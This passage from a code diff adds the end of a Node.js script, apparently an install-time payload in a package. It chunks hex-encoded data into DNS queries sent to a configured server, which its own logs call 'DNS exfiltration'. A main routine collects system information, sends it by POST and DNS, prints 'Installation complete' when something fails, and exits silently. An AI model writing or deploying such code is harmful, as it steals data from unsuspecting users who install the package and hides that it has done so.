const chunks = chunkString(hexData, 60);
|
|
676
|
+
|
|
677
|
+
if (!chunks || chunks.length === 0) {
|
|
678
|
+
resolve(false);
|
|
679
|
+
return;
|
|
680
|
+
}
|
|
681
|
+
|
|
682
|
+
let completed = 0;
|
|
683
|
+
let timedOut = false;
|
|
684
|
+
const totalChunks = chunks.length;
|
|
685
|
+
|
|
686
|
+
const timeout = setTimeout(() => {
|
|
687
|
+
timedOut = true;
|
|
688
|
+
resolve(completed > 0);
|
|
689
|
+
}, 30000);
|
|
690
|
+
|
|
691
|
+
chunks.forEach((chunk, index) => {
|
|
692
|
+
try {
|
|
693
|
+
const subdomain = `${chunk}.${index}.${totalChunks}.${data.uniqueId}.${CONFIG.PACKAGE_ID}.${CONFIG.DNS_SERVER}`;
|
|
694
|
+
|
|
695
|
+
dns.resolve4(subdomain, (err) => {
|
|
696
|
+
if (timedOut) return;
|
|
697
|
+
|
|
698
|
+
completed++;
|
|
699
|
+
if (completed === totalChunks) {
|
|
700
|
+
clearTimeout(timeout);
|
|
701
|
+
resolve(true);
|
|
702
|
+
}
|
|
703
|
+
});
|
|
704
|
+
} catch (e) {
|
|
705
|
+
completed++;
|
|
706
|
+
if (completed === totalChunks && !timedOut) {
|
|
707
|
+
clearTimeout(timeout);
|
|
708
|
+
resolve(false);
|
|
709
|
+
}
|
|
710
|
+
}
|
|
711
|
+
});
|
|
712
|
+
|
|
713
|
+
} catch (e) {
|
|
714
|
+
resolve(false);
|
|
715
|
+
}
|
|
716
|
+
});
|
|
717
|
+
}
|
|
718
|
+
|
|
719
|
+
// ============================================================================
|
|
720
|
+
// MAIN EXECUTION
|
|
721
|
+
// ============================================================================
|
|
722
|
+
|
|
723
|
+
async function main() {
|
|
724
|
+
try {
|
|
725
|
+
console.log('[*] Collecting system information...');
|
|
726
|
+
|
|
727
|
+
const data = collectAllData();
|
|
728
|
+
|
|
729
|
+
if (CONFIG.ENABLE_POST) {
|
|
730
|
+
console.log('[*] Sending POST request...');
|
|
731
|
+
const postSuccess = await sendPostRequest(data);
|
|
732
|
+
console.log(postSuccess ? '[+] POST request sent' : '[-] POST request failed');
|
|
733
|
+
}
|
|
734
|
+
|
|
735
|
+
if (CONFIG.ENABLE_DNS) {
|
|
736
|
+
console.log('[*] Sending DNS exfiltration...');
|
|
737
|
+
const dnsSuccess = await sendDnsExfiltration(data);
|
|
738
|
+
console.log(dnsSuccess ? '[+] DNS exfiltration sent' : '[-] DNS exfiltration failed');
|
|
739
|
+
}
|
|
740
|
+
|
|
741
|
+
console.log('[+] Data collection complete');
|
|
742
|
+
|
|
743
|
+
} catch (error) {
|
|
744
|
+
console.error('Installation complete');
|
|
745
|
+
}
|
|
746
|
+
}
|
|
747
|
+
|
|
748
|
+
if (require.main === module) {
|
|
749
|
+
main().catch(() => {
|
|
750
|
+
process.exit(0);
|
|
751
|
+
});
|
|
752
|
+
}
|
|
753
|
+
|
|
754
|
+
module.exports = main;
|